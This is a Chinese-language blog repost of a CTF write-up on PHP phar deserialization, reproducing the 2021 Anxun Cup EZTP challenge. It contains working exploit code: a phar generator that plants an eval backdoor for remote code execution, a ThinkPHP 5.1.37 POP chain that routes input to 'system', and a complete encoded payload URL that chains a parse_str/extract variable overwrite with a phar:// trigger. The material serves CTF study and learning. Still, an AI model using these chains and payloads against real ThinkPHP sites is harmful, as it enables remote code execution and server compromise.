PHP反序列化:phar偽協議(兼2021安洵杯 EZTP復現)


一、phar介紹
簡單來說phar就是php壓縮文檔。它可以把多個文件歸檔到同一個文件中,而且不經過解壓就能被 php 訪問並執行,與file:// php://等類似,也是一種流包裝器。

phar結構由 4 部分組成

  1. stub phar 文件標識,格式為 xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest 壓縮文件的屬性等信息,以序列化存儲;
  3. contents 壓縮文件的內容;
  4. signature 簽名,放在文件末尾;

這里有兩個關鍵點,一是文件標識,必須以__HALT_COMPILER();?>結尾,但前面的內容沒有限制,也就是說我們可以輕易偽造一個圖片文件或者pdf文件來繞過一些上傳限制;二是反序列化,phar存儲的meta-data信息以序列化方式存儲,當文件操作函數通過phar://偽協議解析phar文件時就會將數據反序列化,而這樣的文件操作函數有很多。

二、例題

1.

假定一個php頁面

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "hello world!";';
        function __destruct(){
            eval($this->output);
        }
    }
    file_exists($filename);
}
else{
    highlight_file(__FILE__);
}
?>

上網沖浪可知phar反序列化會影響下列函數

 

這里file_exists()函數會將參數反序列化。可以先在目錄制作一個phar文件,里面manifest填一個序列化的MyClass,其中$output用其他代碼覆蓋。然后讓filename用phar偽協議指向這個文件。

exp:

<?php
// phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

然后可以把poc.phar文件名改成任意名字(如這里改成poc.gif偽裝圖片文件)放到網站的路徑下。然后get

?filename=phar://poc.gif&_=[any code];

造成RCE.

 

 

2.

[2021安洵杯 EZTP]

首先www.zip得到源碼(這里復現也是用的這個文件)。發現這是個thinkphp框架。網頁上隨便亂輸一個不存在的頁面得到其版本。

 

 

網上搜直接搜thinkphp v5.1.37,會發現只能搜到它的反序列化漏洞哈哈哈哈哈哈哈哈哈。可以直接抄一個鏈子,然后想辦法觸發它。

在源碼文件WWW\127.0.0.17\application\index\controller下找到index頁面源碼

<?php
namespace app\index\controller;
use think\Controller;

class Index extends controller
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello()
    {
        highlight_file(__FILE__);
        $hello = base64_encode('Welcome to D0g3');
        if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
        if(isset($_REQUEST['world']))
        {
            parse_str($_REQUEST['world'],$haha);
            extract($haha);
        }
        if (!isset($a)) {
            $a = 'hello.txt';
        }
        $s = base64_decode($hello);
        file_put_contents('hello.txt', $s);
        if(isset($a))
        {
            echo (file_get_contents($a));
        }
    }
}

進hello函數只需訪問(至於為什么和路由有關,這個以后填坑)

http://127.0.0.17/public/index.php/index/Index/hello

代碼審計。從file_get_contents()往上逆推思路:

1.要覆蓋變量$a為phar://hello.txt,從而通過file_get_contents()觸發反序列化

2.要令$s為phar文件內容,里面寫好網上抄來的pop鏈對象

3.$s=$hello,但是hello在url解析時不能被識別出來。觀察parse_str()和extract(),可以get:?world=hello=xxx%26a=phar://hello.txt(%26是&)這樣,這兩個函數就會把$hello和$a摳出來,一舉兩得。

現在只需要弄出phar文件,把它賦予hello就行了。

在網上找一個鏈子,修改一下:

<?php
namespace think {
    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $filter;
        protected $param = [];
        public function __construct()
        {
            $this->filter = 'system';
            $this->param = ['calc'];//因為復現用的是windows靶機,就啟動計算器測試一下。做題時換成$this->param = ['cat /*'];
            $this->hook = ['visible' => [$this, 'isAjax']];
            $this->config = ['var_ajax' => ''];
        }
    }
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        function __construct()
        {
            $this->append = ['Th0r' => ['a']];
            $this->data = ['Th0r' => new Request()];
        }
    }
}
namespace think\model {
    use think\Model;
    use think\Request;
    class Pivot extends Model
    {
    }
}
namespace think\process\pipes {
    use think\model\Pivot;
    class Pipes
    {
    }
    class Windows extends Pipes
    {
        private $files = [];
    function __construct()
    {
        $this->files = [new Pivot()];
    }
    }
}
namespace {
    /*寫phar*/
    use think\process\pipes\Windows;
    $phar = new Phar("phar1.phar"); //后綴名必須為phar,壓縮后的文件名
    $phar->startBuffering();
    $phar->setStub(" __HALT_COMPILER(); ?>"); //設置stub
    $o = new Windows();
    // $o->data = 'hu3sky';
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("foo.txt", "bar"); //test為內容test.txt為要壓縮的文件(可以不存在)
    //簽名自動計算
    $phar->stopBuffering();
    // echo base64_encode(serialize(new Windows));
    
    /*讀phar並 1.base64encode 2.urlencode*/
    echo urlencode(base64_encode(file_get_contents('./phar1.phar')));
    //IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAADN0KhhAwAAAKqM%2F3a2AQAAAAAAAGJhcj2Y8W%2FiBnOmVms8oXJRj5sNJYHVAgAAAEdCTUI%3D
}

最終payload:

http://127.0.0.17/public/index.php/index/Index/hello?world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAABStahhAwAAAKqM%2F3a2AQAAAAAAAGJhcui1dgJQNuTaCXKRUQLsVJql7DWEAgAAAEdCTUI=%26a=phar://hello.txt

 

 

 具體比賽時:

不會真有CTFER有女朋友吧

參考鏈接:PHP反序列化入門之phar

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM